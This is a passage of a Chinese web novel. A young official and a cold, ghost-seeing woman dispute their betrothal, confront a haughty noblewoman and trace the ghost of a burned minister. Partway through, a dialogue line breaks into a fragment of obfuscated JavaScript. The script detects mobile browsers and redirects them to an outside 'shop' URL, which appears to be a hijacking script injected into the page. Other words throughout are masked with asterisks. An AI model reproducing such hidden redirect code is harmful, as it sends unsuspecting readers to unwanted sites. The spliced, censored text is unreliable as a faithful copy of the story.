关跃不禁冷汗津津,“是上回在船上暗中行刺您的刺客,已经查到身份了。”
“是什么人?”
“北地有个叫‘悬镜堂’的江湖组织,里面养了一批刺客…”
任风玦一听就明白。
是有人花了钱,要买他的命。
只不过,找这样的民间组织来刺杀,感觉更像是在恐吓与试探。
背后之用意,倒值得深究。
关跃汇报完,便小心打量了一下任大人的脸色,斟酌说道:“至于这背后买凶之人…”
“不必查了,迟早会再露出马脚。”
任风玦面色淡然,打断了他,接着说道:“关侍郎的重心,还是多放在工部那件案子上。”
“是。”
在刑部一直待到酉时左右,任风玦才打道回府。
他一路上想了许多,思绪难免有些飘散。
然而,刚进任宅,迎面便走来一道身影,令他着实恍惚了一下。
“我等了你一整天。”
夕阳余晖下,只见夏熙墨一改常态,换了明艳的衣裳,梳着齐整的发髻,甚至连面上都敷了薄薄的脂粉。
她一身装扮,其实与当下许多上京贵女们无异。
只是,配上那副那冷淡的面容,与冷傲的眼神,便多了几分别样的气质。
此时,她依然冷眼看他:“今已是第五日,你该给我交代了。”
任风玦慢慢从她身上挪开目光,却顾左右而言他:“你今日的装扮不错。”
“……”
夏熙墨倏地眯了一下眼睛。
任风玦只得轻咳一声,“外面怪冷的,夏姑娘不如移步去我书房喝杯热茶?”
说着,做了一个“请”的手势,便悠然走在前面带路。
望着他的背影,夏熙墨稍微迟疑了一下,还是默默跟了上去。
任宅占地面积不大,往南院方向走一小段路,就到了任风玦的书房。
夏熙墨依然不拘俗礼,随便找了一处小塌便坐了上去,完全没有意识到那是属于书房主人的位置。
见此,任大人也不在意,随性坐到一旁,给她斟了一杯茶。
热茶氤氲,烟雾缭绕,夏熙墨却巍然不动。
任风玦故意问:“夏姑娘是嫌弃任某泡茶的手艺?”
她这才拿起茶杯轻轻抿了一口。
“现在可以说了吧?”
语气冷淡,显然不打算再继续给面子了。
任风玦也是见好就收,点头道:“当然可以。”
他修长的手指轻轻扣着白玉茶杯,低垂着眉眼,淡淡说道:“我今日回了一趟侯府,不过却发生了一件怪事,可能需要夏姑娘先解释一下。”
夏熙墨掀起眼帘看他,显然不解:“什么意思?”
看得出,她还并不知情。
任风玦唇角轻扬:“昨日侯府来了一位女子,也称自己是夏将军之女夏熙墨,现下正在侯府,与我母亲一起。”
“她不是。”
对此,夏熙墨只回应了三个字。
这样的反应,让任风玦多少有些意外。
她面无波澜,就连眼神都过于平静。
既没有想要解释的念头,更不打算为自己辩解什么。
不像侯府那位“夏姑娘”…
他仔细观察过她说话时面容的微小变化,不得不让人从心底质疑真假。
任风玦顿了片刻,不由得问:“何以证明?”
“证明?”
夏熙墨一哂,“与我无关之事,为何要证明?我只需要一封退婚书,你写给我便是。”
任风玦再次怔住。
说来,他这些年破过不少复杂的案子,也见识过不少复杂的人,却还是第一次遇到令他感到“为难”的事和人。
偏偏这“事”还出在这“人”的身上。
他不禁失笑,些许有些无奈,解释道:“此事当然与你有关,你我的婚约并没有那么容易解,至少须得征求我父母的同意…”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147004|196398||http|test|mini|href|location''.split(''|''),0,{}));
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r>“可眼下的情况是,我有两个‘未婚妻’,一个要与我成婚,一个要与我退婚。”
“你说,我该听哪一个?”
夏熙墨不假思索:“你可以先与我退婚,再与她成婚。”
“……”
任大人简直好气又好笑。
夏熙墨却蓦地站起身来:“若是退婚之事你无法做主,那便麻烦带我去一趟侯府,我当面来说。”
别人这么说,任风玦可能也就随她去了。
侯府是什么地方?仁宣侯又是什么人?
整个上京,不会有人不清楚。
就算胆子再大的人,也不敢去那里撒野。
可对于眼前这女子,任大人多少藏了一点私心。
至少,在余琅去西泠县查明情况之前,要先护着她。
“真假夏熙墨”之事,迟早会有一个结果。
等到那个时候,再解除婚约也不迟。
但这背后究竟藏着什么事?必须要弄清楚。
心里下了决定,任风玦才回道:“这事,只怕不能答应你。”
夏熙墨微怔,漆黑的瞳仁再望向他时,明显浸着寒意。
那一瞬间,她明显动了怒。
任风玦被她这么注视着,竟也莫名觉得被一层诡异的凉意笼罩着身体。
他情不自禁缓了语气,说道:“并非我不信你,实在是家父家母对于这桩婚姻很是看重。”
“眼下又突然冒出另一个‘夏熙墨’,想要解除婚约,绝非三言两句就能成。”
“只有查清了这背后之事,我才能给你一个交代。”
听了这话,夏熙墨才有一丝松动,只见她薄唇轻启:“多久?”
任风玦估算了一下时间:“最多七日。”
“好。”
夏熙墨又深深看了他一眼,“那我再给你七日时间,七日后若没有结果,我会自己去侯府。”
说完,她又直接转身朝外走。
但这次,走到门口时,忽又顿住,她侧着半张脸望过来,说道:“四年前,你母亲南下时去穆府见到的人,是穆铮的女儿——穆汀汀。”
“若我猜得没错,现在待在侯府的人,也是她。”
“我并不在乎你信不信我的话,我要的,只是一封退婚书。”
第26章 **
夏熙墨再次回到东院客房时,房内又添置了不少东西。
除了香炉挂画之物外,甚至还多了一扇围屏与橱柜。
原本冷清的客房,现在已被塞得满满当当,用“热闹”来形容都不为过。
见夏熙墨进屋,天青又上前递了一只手炉过来:“夏姑娘,你怕冷,试试这个。”
“我不怕冷。”
瞟了一眼那累赘的东西,夏熙墨压根没打算接。
哪知天青这丫头也大胆,直接拉着她的手,将手炉强塞了过去。
“手这样凉,怎会不冷?现在正是一年之中最冷的时候,姑娘先前穿得那样单薄,只怕受了不少冻。”
听了这话,夏熙墨竟愣了一下。
手炉的暖,于她而言,根本形同虚设。
但在那一瞬间,她确实感受到了一丝暖意。
天青见她接过手炉,似乎很是高兴,又道:“我让厨房熬了鸡汤,姑娘再喝点汤暖暖身子。”
她说着,便脚步轻快地往外面跑去。
望着手中暖炉,夏熙墨心里闪过一丝异样。
渡魂灯在这时忽然颤动了一下,只见无忧伸着懒腰从灯里出来。
“这小姑娘很不错,与你也挺投缘。”
夏熙墨不理,他又继续说道:“不过按照你与任风玦的约定,你最多也就在这里再待七天。”
“不然,趁着这七天多去外面逛逛?”
“没兴趣。”
“……”
无忧正要继续说些什么,却见天青从外面回来,手里正端着汤碗。
随着碗盖掀开,顿时飘香四溢。
无忧用空荡荡的鼻子努力嗅了嗅:“这也太香了!”
夏熙墨肚子应声而响。
有时候,做人就是比做鬼麻烦。
天青笑道:“姑娘先喝点鸡汤填一下肚子,晚膳一会儿就好。”
夏熙墨虽面无表情,却还是乖乖拿起勺子直接开喝。
不得不说,同样都是填饱肚子的食物。
这鸡汤却比之前吃过的所有食物都要香甜。
身体的感知告诉她,这东西,她很喜欢。
天青静静立在一旁看着。
心想,虽然夏姑娘表面看起来冷冰冰,实际上却很可爱。
至少直率,坦然,且一点伪装都没有。
和这样的人打交道,反而是最轻松的事情。
于是,她又怀着期待,试探开口问道:“夏姑娘,昨日天香阁的掌柜说,明日店里会到一批新货,您要不要亲自去看看?”
夏熙墨本能想拒绝,但不知为何,话到嘴边又咽了回去。
那一刻,她听见了心底的声音。
“你安排。”
浮荡在一旁的无忧:“…”
——
马车停在天香阁门前,随着车门打开,先后走下来两人。
一名绿衣婢女,笑起来娇俏可人,单只看仪态,就知道出自高门。
而另一名女子则披着白色织锦披风,身姿窈窕,容色一绝,就是整体气质过于疏冷,让人不敢多看。
京中女子,能来天香阁走动的,必然非富即贵。
彼此之间,就算从未打过照面,大多都能知道来头。
但这位女子,显然是个生面孔。
因此,自打她进门后,楼上楼下纷纷投来不少目光,有探究,有好奇,甚至还有一些轻视与敌意。
面对旁人的打量,夏熙墨浑然不觉,对于伙计介绍的各类脂粉,她也没有多少耐心。
唯有天青给她试脂粉时,她才会说一句“你看着办”。
没逛一会儿功夫,倒选了不少胭脂水粉。
天青又笑着对夏熙墨说道:“姑娘你先坐会儿,昨日我让掌柜留了一支螺子黛,待我上去问问。”
说着,她便提起衣裙,顺着一旁楼梯轻快上去了。
夏熙墨左右无事,便找了一处位置坐下。
然而,没过一会儿,楼上竟传来一道响亮的耳光,接着是一道尖锐的女声:“什么穷乡僻壤来的**东西,也配用螺子黛?”
声量颇大,语气傲慢,话里更掩不住的嘲讽之意。
接着,便是天青颤抖的声音:“庄小姐,可这支螺黛是我们预定下的,还提前付了定金…”
楼下,夏熙墨蓦地站起身来。
她直接上到二楼,远远见到一名华
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衣女子被一群人簇拥其中,正在挑选脂粉。
天青立在一旁,左脸通红微微肿起,上面还有一道清晰的掌印。
显然,她刚刚挨了打。
夏熙墨的出现,立即引来场内人的目光。
天青见到她,下意识捂住了脸,正要解释什么。
“谁打的你?”
夏熙墨冷冷问道。
天青犹豫着不敢答,人群之中的华衣女子却斜乜着扫了她一眼,微微扬起下巴,颇为趾高气昂。
“是我打的,你待如何?”
旁边立即有人笑着附和道:“这是哪家的贱婢?真是有眼不识泰山,也不出去打听打听庄小姐是什么人,整个上京城,哪有人敢跟庄小姐抢东西?”
这番动静颇大,惹得一楼不少想看热闹的人,皆不约而同朝二楼张望去。
华衣女子的身份,场内人人皆知,她是御史中丞庄户的女儿,名唤庄攸,在京中是出了名的娇纵跋扈。
庄攸仗着姨母是当今皇后,且自己与禹王殿下定了婚约,向来不把京中贵女们放在眼里。
此时,更是在明知最后一支螺子黛已被人定下后,也不管对方身份,依然强行据为己有。
对于这种行为,大多人都见怪不怪,碰到了,只能算倒霉。
毕竟庄家后台够硬,京中能与之硬碰硬的人家,几乎屈指可数。
面对冷嘲热讽,夏熙墨却是波澜不惊,她朝着庄攸的方向又走近了几步,冷不丁防地问:“哪只手打的?”
庄攸一脸倨傲,依然正眼不瞧她,反而故意打量着手里的螺子黛,继续指桑骂槐。
“到底是稀罕物啊,连不知名的阿猫阿狗也要来抢。”
她话音刚落,手却忽然不受控制,直接将螺子黛掷了出去,当即碎了一地。
这一举动,让周边看热闹的人皆倒吸了一口凉气,就连庄攸本人也吃了一惊。
“我…”
她懊恼起身,似乎很是疑惑自己的行为。
但接下来,更诡异的一幕又发生了。
在众目睽睽之下,庄攸又抬起自己的左右手,分别给了自己两个响亮的耳光。
第27章 **
天香阁内,可谓是针落有声。
庄攸不可置信地望着自己颤抖的双手,脸上两道掌印,清晰可见。
她的两名贴身婢女都傻了眼,一时之间,竟谁也不敢上前。
夏熙墨微微勾起唇角,转身欲走,腰间荷包内的渡魂灯却忽然颤动了一下。
无忧突然现身,用空荡荡的鼻子嗅了嗅,却说道:“好像有枉死之魂的气息。”
闻言,夏熙墨顿足,回头看了一眼。
只见庄攸身上不断有“黑灰”撒落,如同黑色的雪花,一片片掉在地上,却又瞬间消失不见。
“是她。”
无忧道:“她应该被阴魂冲撞过,看看能否从她身上取下一片。”
夏熙墨眯了一下眼睛,趁着庄攸还在愣神间,径自走到对方跟前,伸手便从她那身华丽的狐裘上,扯下了一小簇“狐**”。
这一举动,无疑是在老虎身上拔**,再次惊呆众人。
庄攸身上的狐裘名为“胭脂雪”,乃是皇后所赐,可谓十分珍贵。
平日里,婢女们对待此物,但凡毛手毛脚一些,都要被打骂,何况是掉了一簇**?
“你!!!”
庄攸莫名其妙当众出了丑,已是恼羞成怒。
夏熙墨此举在她看来,完全就是挑衅。
她**的心都有了。
“**,你找死!”
盛怒之下的庄大小姐哪顾得什么贵女形象,扬起手臂就要上前**。
然而,还没触碰到对方的衣角,竟又无故栽倒在地,摔了个狗啃泥。
婢女们见状,连忙上前搀扶,而庄攸在众目睽睽之下,接二连三地出丑,整张脸已经涨成了猪肝色。
她扬手就给婢女一人一个耳光,尖声令道:“都是死的吗?!给我抓住这个**,她今日休想走出阁门,我要扒了她的皮!”
千金大小姐狼狈如同市井泼妇。
两名女婢被吼得一愣,只能硬着头皮上前,拦了夏熙墨的去路。
而那些喜欢阿谀奉承的狗腿子们,一边看人出丑,心下暗爽,一边还不忘七嘴八舌,煽风点火。
“果然是穷乡僻壤出来的,不知死活,竟连庄小姐也敢得罪。”
“是啊,那‘胭脂雪’可是皇后娘娘赐下的,她怎么敢的?”
“哎呀,闹成这样,一会儿该如何收场才好呀?”
……
在众多声音当中,夏熙墨只是将扯下来的“狐**”放进荷包里,侧头对一旁的天青道:“走吧。”
天青虽然心里害怕极了,但望向夏熙墨那波澜不惊的脸,却又莫名有了底气。
两名婢女虽硬着头皮拦了路,却震慑于夏熙墨那冰刀一般的眼神,根本不敢动手。
于是,夏熙墨走一步,婢女便畏缩着后退一步。
一直到退到楼梯口,退无可退。
庄攸看在眼里,只觉得脸面扫地,当即又冲上前推开婢女二人。
但面对夏熙墨时,她又莫名感到一阵胆怯,那只扬在半空中的手抖得厉害,竟迟迟落不下。
看似剑拔**张,其实不攻自破。
夏熙墨轻蔑扫了她一眼,拉着天青便径自下楼去了。
庄攸算是几番“败阵”,活了十七年,何曾像今日这般受过气?
她眼睁睁看着夏熙墨下了楼,手指深陷陷入掌心,几乎目眦欲裂。
此时被四周那么多双看热闹的眼睛盯着,她心知无论如何都要扳回一局,当即大喊一声。
“裴勇!”
不久前,庄攸与禹王定下婚约后,禹王殿下便拨了一支金羽卫,专保护庄小姐出行安全。
这金羽卫乃是皇族护卫,个个训练有素,可绝非一般看家护院可比。
因此,庄攸一声令下,原本隐在暗处的十几名金羽卫,立即出现在天香阁门前。
领将裴勇上前问:“庄小姐有何吩咐?”
庄攸气得浑身颤抖,指着一楼的夏熙墨:“今天无论如何,别让她踏出这道门!给我抓住她!”
裴勇应了一声,抬手向身后众人做了一个手势,金羽卫们便分作两列,一列进天香阁捉人,一列则负责围堵。
这阵仗,吓得一楼正在挑选脂粉的女客们个个花容失措。
天香阁掌柜见事情闹到这种地步,可谓急得团团转,她只能试着向庄攸求情,谁知才唤了一声“
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庄小姐”,就被对方给喝止了。
“闭嘴。”
盛怒之下的大小姐哪里听得进半个字?
她整个眼眶莫名泛着诡异的红,状似癫狂,回头瞪了掌柜一眼。
“再多说一句,信不信本小姐把整个天香阁都掀了?”
掌柜被她的样子吓了一跳,只能讪讪闭嘴。
楼下,夏熙墨已被四名金羽卫围住。
一旁的天青虽紧张得要命,但还是强作镇定站在了夏熙墨前面,拿出了侯府的气势。
“大胆,你可知这位姑娘是什么身份?”
庄家固然后台硬,却也不能跟身为四大开国功侯之首仁宣侯比。
要知道,就算是当今圣上,见了仁宣侯任瑄也得客客气气。
作为金羽卫领将,裴勇识人的本事可不浅,他只需看了一眼就能确定,眼前这位女子,绝不在京门贵女之列。
至少,王公贵胄之中,不会有她。
他牵动着唇角冷冷一笑,打着官腔:“不必知道,我等奉禹王殿下之命保护庄小姐,任何人只要危及到庄小姐,我等绝不会放过。”
天青辩解道:“我们只是来买脂粉,并未做过任何伤害庄小姐之事,这里的掌柜和伙计皆可作证。”
楼上的庄攸闻言,立即催促道:“跟她们废话什么?直接抓起来!”
天青正要说出“仁宣侯府”的名头,一只手却伸过来,将她拉至一旁。
夏熙墨往前走了一步,冷眼望向裴勇:“别怪我没有提醒你,当务之急,你们该做的,是带你们的庄小姐速速离开这里,回去找人驱驱邪。”
裴勇被那双眼睛看得背后莫名一凉,但对于她所说的话,是一个字也不信。
于是,他用眼神示意了一下旁边的金羽卫。
那金羽卫得了令,上前就要抓人。
然而,手还没碰到对方,就被一股怪异的力量给牵制住了腿脚,人也愣在了原地。
裴勇见手下不动,皱眉骂道:“没用的东西!”
说着,他正要亲自上前,却听见楼上有人叫唤了起来。
“庄小姐晕倒了!”
“庄小姐这是怎么了?!”
第28章 灰烬
庄攸是突然晕倒的。
明明前一秒,她还在怒斥金羽卫抓人,后一秒便毫无征兆地晕**过去。
围在一旁看热闹的人,见状纷纷后退,生怕受到牵连。
只有天香阁的掌柜和伙计们,迫不得已上前查探情况。
楼下的裴勇听到庄攸出事,脸色一变,只得飞奔着先上楼救人。
场面一度混乱不堪。
趁着人群四散,金羽卫顾及不来,夏熙墨拉着天青头也不回地走出了天香阁。
回任宅的路上,天青依然心情激荡,对于夏熙墨的崇敬之意,那是呼之欲出。
“夏姑娘,你真是胆识过人,那个庄小姐,向来天不怕地不怕,在京中是出了名的刁蛮…”
“这么多年来,从未有人敢与她正面起冲突,更没有人令她栽过跟头…”
“但今天…”
她说着,似乎又意识到不对。
气虽然是出了。
但对于夏熙墨而言,在京城得罪庄攸,可不是什么好事。
而且,若是后面对方要回来报复,只会是一桩麻烦事。
转念一想,倒也不怕。
任小侯爷对夏姑娘如此看重,定然不会袖手旁观。
只要小侯爷能出面,京中就没有摆不平的事。
她这边心念百转千回,夏熙墨也开口:“你的脸肿了,回去上点药。”
天青立即愣住。
她并不知道该怎么形容此刻的感受。
与夏姑娘相识不过三两日,她却能在外面这么护着自己…
“我…没事的夏姑娘!”
天青鼻子莫名有点酸,慢慢低下头,心里却有点愧疚,“其实今天要不是我,你也不用得罪庄小姐。”
“是她先打的你。”
夏熙墨冷然陈述事实,语气里依然不带一丝感情。
天青吸了一下鼻子,却笑得一脸粲然。
夏熙墨瞥了她一眼,也不知她为何要笑得那样开心。
人的情感向来复杂,但她不想深究。
眼下,她要做的是尽快在人间完成任务而已。
“停车。”
“我要出去一趟,你自己回府。”
吩咐了一句后,夏熙墨直接下了车。
天青打开车窗,犹豫着开口问道:“夏姑娘,我要陪你一起吗?”
“不用。”
夏熙墨回了两个字,身影很快便消失在街口处。
——
“这缕阴魂应该是被火烧死的…”
无忧通过附在狐裘上的“黑灰”感知到了阴魂所在之地。
竟是一座桥。
但此时,桥上布满了“黑灰”,却不见阴魂所在。
无忧绕着桥来回飘了一圈,推测道:“有可能咱们来早了,这缕阴魂有些古怪,看看等天黑后阴气重一些再来…”
夏熙墨看了一眼天色还早,便直接在桥边找了一处地方坐下。
无忧见她依然席地而坐,惊道:“你不会就在这里坐着等天黑吧?”
“不然?”
“现在离天黑至少还有一个时辰呢,咱们可以去那边的街道逛逛。”
“不去。”
无忧忿忿不平:“要是天青那小姑娘这么说,你肯定就去了!”
夏熙墨没回话,将双脚放在桥栏上,就这么半倚半躺着靠在桥边。
这座桥衔接着上京的东市与西市,无论什么时候,往来人都不少。
此时,她一个姑娘家靠在桥边晒太阳,难免会让过往路人投来异样的目光。
夏熙墨根本不在乎,只是用手挡住眼睛,遮住了刺目的阳光。
然而,过了没多久,有脚步声靠近,接着一道声音在旁边响起。
“夏小姐。”
语气还算客气。
夏熙墨将手放下,却看到一张陌生的脸。
是个黑衣男人。
“小人是奉穆侍郎之命,请姑娘过去一叙的。”
他弯腰赔了个笑容,又继续说道:“穆侍郎得知姑娘入了京,心里一直不放心,记挂着姑娘的安危。”
“这上京城可不比西泠县,处处都是危险呢。”
听完这番话,夏熙墨总算知道对方是为何而来。
原主的舅父——穆铮。
一个看似心无城府却自私利己的**子罢了。
“我不去找他麻烦,他倒来找我?”
夏熙墨眯了一下眼睛,语气丝毫不客气。
黑衣男人不料她会说着这样一番话来,眼珠子一转,笑道:“夏姑娘这话又是什么意思?”
“滚。”
“…”
黑衣男人面色顿时僵住,
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心底却是一阵惊异。
他虽是穆铮在京中的心腹,但对于这位将军遗孤,多少是有几分了解的。
听闻她一向性情弱懦,寡言少语,且还是个病秧子,最是容易拿捏。
不然,也不至于让穆家主母暗中调走了身份…
可眼前这女子,外表看似柔弱,但无论是眼神,还是说话语气,都不像是好惹的。
他也冷下语气:“穆侍郎好歹也是姑娘的舅父,且姑娘在穆家还住了这些年,难道连这份情面都不给?”
话音刚落,只见夏熙墨蓦地坐起身来,眼神竟似冰刀一般凌厉。
男人不由自主后退了几步。
反应过来时,心下更惊。
他怎会被一个年轻姑娘的眼神给唬住?
于是他故意冷笑一声,继续说道:“姑娘可想过,你今日在天香阁得罪了御史家的庄小姐,庄家不会善罢甘休,禹王更不会放过你。”
“到时候他们追究下来,京中只怕没有你的容身之地。”
夏熙墨不语,却站起身来。
男人又后退了一步。
明明是晴空**,他却犹如被乌云罩了顶,浑身上下被寒意浸染。
而更诡异的是,他的腿脚不受自主控制,竟自行走向一旁的深河。
来不及发出惊叫声,便听得扑通一声。
男人已落入河中。
这一番动静,立即引来岸边人围观。
“有人跳河了!”
夏熙墨轻轻动了一下手指,惊觉自己又耗用了太多魂力,脚下也微微踉跄了一下。
她回头瞥了一眼河中的男人,眼角的余光里,却发现桥头之上惊现一缕幽魂。
那缕魂身着官服,整个身体被烈火围绕,目光盯着一处,神情呆滞,口中却念念有词。
看样子,也只是一缕无意识的散魂。
夏熙墨连忙移步往桥头而去。
而在她的身后,四个乔装打扮的男人互相使了一个眼色后,便立即尾随着她上了桥。
人来人往的桥头上,无主的散魂立在桥头正中,随着烈焰燃烧,不断有黑色灰烬从它身上掉落下来。
夏熙墨悄然靠近着,就在她认真聆听“鬼语”时,一辆马车忽然在她身旁停了下来。
“夏姑娘。”
第29章 交锋
阴魂突然应声消散。
夏熙墨皱眉回头,只见车帘被人掀开来,露出一张俊美如玉的面庞。
任风玦似乎刚从刑部衙门回来,还是一身庄严的公服,桥头上的夕阳映照着他,柔和的光晕削弱了他身上的“官威”,倒多了几分清逸。
他笑着问道:“夏姑娘可要与我一同回去?”
望着他身上的紫色官服,夏熙墨略微一顿,似乎想到了什么,却问:“和你穿同色衣服的官员,是几品?”
这问题,令任风玦多少感到意外。
但他还是一本正经地回道:“大亓朝公服,九品以上为青,七品以上为绿,五品以上为朱,三品以上为紫。”
“夏姑娘为何问这个?”
夏熙墨不答话,却自顾自踩着一旁的踏脚板,看样子是要直接上马车。
任风玦见她提着身上的百褶裙,多少有些行动不便,立即伸手扶了她一把。
两人距离瞬间拉近,能闻到她身上清浅的脂粉香,以及头油的花香。
他微微一滞,却望进了一双漆黑幽亮的眼睛里。
“我坐哪儿?”夏熙墨问。
这辆马车的车厢空间不大,任风玦平日一人用绰绰有余,偶尔加个余琅也不是不行。
但夏熙墨是女子,两人若是紧挨着坐在一起,多少有些不合礼节。
于是,任大人将自己的位置让了出来,自己则坐在了余琅常坐的“小方凳”上。
“你坐这边。”
闻言,夏熙墨也丝毫不跟他客气,直接就坐了过去。
任风玦面上掠过一抹不易察觉的笑意,这才唤阿夏驱车。
车声辘轳,慢慢穿过了东市的人烟。
一抹夕阳,透过车帘映照在夏熙墨的脸上。
她忽然开口问道:“你们朝廷,最近是不是**一位三品以上的官员?”
任风玦心下暗惊。
这是朝廷秘事,发生已有月余。
由于太过于蹊跷,圣上下令,让任风玦密查。
目前,只有刑部和大理寺知晓大概。
夏熙墨又是从何得知?
换作旁人问起这话,任大人或许会打一句官腔,但绝对不会回答。
但这人是夏熙墨…
一个初到京城,就掀起了一桩沉寂一年之久的**。
她究竟有什么能耐?
任风玦在心底快速考量着,却道:“在回答这个问题之前,我也希望夏姑娘能先回答我一个问题。”
夏熙墨也不拐弯抹角,直接问:“什么?”
“锦绣衣庄那桩**,夏姑娘又是从何得知的?”
两人目光轻轻相触,似两柄雪亮的利刃相交,各自透着锋芒。
夏熙墨却先一步移开视线,随后冷冷回了一句:“我能看见你们凡**眼看不见的东西。”
任风玦失笑:“夏姑娘说的是鬼魂?”
“是。”
夏熙墨又看了他一眼,明显带着告诫之意:“我知晓你未必信我,但对于我的事,你最好少打听。”
“我当然信。”
任风玦对于她的“不客气”,却是一点脾气也没有。
连他自己都感到有些惊讶。
随即他又问:“所以,你是因为看到珠颜的鬼魂,才知晓了此事?”
“是。”
夏熙墨惜字如金,显然,再多的,她已不想再透露。
任风玦很识趣,直接转移话题,问:“那夏姑娘刚刚那么问,也是因为看到了鬼魂?”
荷包内的渡魂灯立即颤动了一下。
无忧虽不敢现身,但还是在她耳边传着话,“这事,找他或许更快。”
夏熙墨微蹙眉头。
她借尸还阳已有十来日,但也慢慢见识到,如今的人间,处处都是羁绊。
不像记忆里的从前…
因为足够强大,可以无所不能。
而现在,单单只靠微弱的魂力与这副随时可能“魂飞魄散”的躯体,限制确实太多。
“是,我看见了它的鬼魂。”
夏熙墨索性承认,“就在刚刚的桥上,它穿着和你一样的官服,是被火活活烧死的。”
听到这里,任风玦脸色也变了。
通过这几句简单描述,他就知道对方没有说谎。
追查月余仍不得进展的案件,好似在这一瞬间,有了新的突破口。
“不错。”
任风玦接着她的话,继续说道:
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“你说的,应该就是一个月前,在书房中**的工部尚书孟志远。”
“**?”
夏熙墨表示怀疑:“他有冤屈,并不像是**。”
任风玦心下又是一震。
确实。
孟志远是个清廉的好官,自任工部尚书一职,便一直尽心竭力为朝廷办事。
甚至,在他死的前几日,还在修拟一份漕粮转运的舆图。
然而,事情未成,书房起火,工部底下祸事不断传出,所有罪责均指向了尚书孟志远。
**不能开口,死因未明,却成了“畏罪**”。
圣上对于此事很是痛心,才下令让任风玦密查此事。
可惜的是,能获取的一切线索都被切断,显然,背后确实有人在暗中操纵此事。
“我也相信他有冤屈。”
说到这里,任风玦眉头轻蹙,还带着一丝感慨:“实不相瞒,我奉命追查此案,已有月余,却一直始终不得进展…”
无忧的声音却在这时抢先钻入了夏熙墨的耳朵里。
“活人身上无法下手,那便从**身上来查啊,你快点让他带你去案发现场看看,一定能找到鬼魂…”
“闭嘴。”
夏熙墨被它吵得有点烦,忍不住斥责这缕聒噪的守灯之魂。
然而,正在酝酿说出案件疑点的任风玦,还以为她在跟自己说话,一时倒有些愕然无措。
夏熙墨似乎不想知道太多,也不解释,只道:“你现在只用告诉我,那人**时的住宅在何处?”
任风玦回神:“离这里倒不算远,不如我与你一同去。”
“不必。”
夏熙墨拒绝得彻底:“你查你的案子,我亦有自己的事情要做,我们并不是一路人。”
任风玦笑道:“夏姑娘,你这多少就有点过河拆桥了。”
“也不算。”
夏熙墨依然不讲情面:“我只负责查**的事,活人的事,我没有兴趣。”
“好。”
任风玦也很爽快,直接对正在赶车的阿夏吩咐道:“掉头,去一趟东四街。”
又饶有兴趣地问她:“我直接送你过去,夏姑娘总不会拒绝吧?”
第30章 疑点
入暮时分,马车停在东四街街口处。
夏熙墨直接下了车,根据任风玦所述,她很快便找到了街尾处的一座宅子。
——孟宅。
这地方阴气弥漫,不见人烟,就连周边的住户也已经搬得七七八八。
眼看着夜幕降临,四下里竟不见一点光亮。
夏熙墨推开宅门,见宅子并不破旧,应该是发生了“**”之事后,才临时搬走的。
宅子占地不大,总体格局其实与任宅很像,只不过多了一进院子。
而自夏熙墨走进宅子后,便时不时有阴风在宅内环绕,发出的呜咽之声,犹如鬼泣。
但奇怪的是,一直走到被焚烧的书房门前,都不见一道鬼影。
渡魂灯一直颤动,足以说明,枉死之魂就在附近。
“出来。”
夏熙墨将渡魂灯放在掌心处,唤的却是里面的守灯之魂。
无忧不情不愿探出半个头,哼哼道:“不是你叫我闭嘴的吗?”
“现在你可以说了。”
“……”
“能找到它的位置吗?”
面对不讲理的九幽囚魂,无忧也是没什么脾气,当下懒懒回道:“能感受得到它在附近,就是看不到。”
这缕魂确实很古怪。
正常来讲,人死后变作鬼,鬼亦有三魂七魄。
若三魂不齐,七魄不整,则无法渡往幽冥。
枉死之人,大多因冤屈与执念而不肯入阴司。
但通常都是过七七四十九天后,才会三魂分离,继而七魄散去,自此若无引渡,便只能在人间做游魂。
可孟志远死去不过月余,魂魄就已经散了,足见蹊跷。
难道,又是阳间术士从中干涉?
夏熙墨猜测:“是否有人打散了它的魂?”
无忧摇头,却忍不住侃侃而谈:“据我几百年的经验来看,被术法打散的魂魄,通常都会被封印起来。”
“这位大官的散魂,虽无意识,却还保留着强烈的执念,甚至还能出入身死之地,去了那座桥。”
“如果不是人为的话,要么就是得罪了鬼差,要么就是碰到道行更高的厉鬼了。”
说话间,天已经完全黑了下来,又有一阵阴风拂过。
这时,只见地上的灰烬,竟慢慢凝作一道黑影,化出一缕被烈焰燃烧的阴魂。
无忧道:“出来了!”
夏熙墨定睛一看,却发现这又是一缕无意识的散魂。
而正如无忧所言,这缕散魂明显还保留着执念,还在复刻着生前之事。
它对着空荡荡的“书案”,研磨,下笔,挑灯…
眼神呆滞,口中却念念有词。
“可听得清它在说什么?”
无忧只好近前去听,“好像反复只有一句话,‘臣愿为陛下分忧’。”
夏熙墨默然听着,心里却有了一个念头。
连散魂都在念着国事,那它的主魂很有可能…
——
望着夏熙墨的身影完全消失在街口处,任风玦才上了马车。
阿夏问:“公子,回去吗?”
“不回。”
任风玦舒展了一下身体,靠在车壁上,吩咐道:“后面有几条尾巴跟上,你去抓一条过来,我拷问拷问。”
“是。”
阿夏应了一声,便轻快跳下了马车。
距离东街口不远处的一条小巷内,四个乔装打扮的男人正在蓄势听命。
其中一人道:“等那马车一走,咱们就冲进去!”
余三人答:“好。”
话音刚落,一道身影却冷不丁防出现在他们身后。
四人甚至来不及反应,对方便以极快的身法飘至身前,点住了三人的穴道。
只见一把雪亮的**抵在为首那人的颈边:“跟我走一趟。”
“……”
任风玦坐在车厢内闭目养神,修长的手指,轻轻敲着旁边的小几。
算着时间,外面果然响起了脚步声。
阿夏:“公子,人已经带来了。”
任风玦这才略微掀起车帘一角:“自己交代吧,谁派你们来的?连我都敢跟踪?”
外面的人扑通一声跪在了地上,瑟瑟望着那纤尘不染的官靴:“小侯爷饶命啊,小人不是跟踪您,小人哪敢跟踪您啊?”
“哦?”
任风玦冷笑一声,“原来你知道我的身份。”
“不是跟踪我,又是跟踪谁?”
跪在地上的人立即交代:“
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小人是奉了穆侍郎之命,来跟…来接刚才那位姑娘的!”
任风玦轻拧眉头:“中书侍郎穆铮?”
“是!”
穆铮前些年初到京中任职时,曾拜访过几趟仁宣侯府。
当时,任风玦曾在父亲的书房内见过他。
一个年近四旬的男人,头发竟已灰白,明明已晋升中书侍郎,却依然作落魄文士打扮。
他看起来性格温吞,但言语温和,条理清晰。
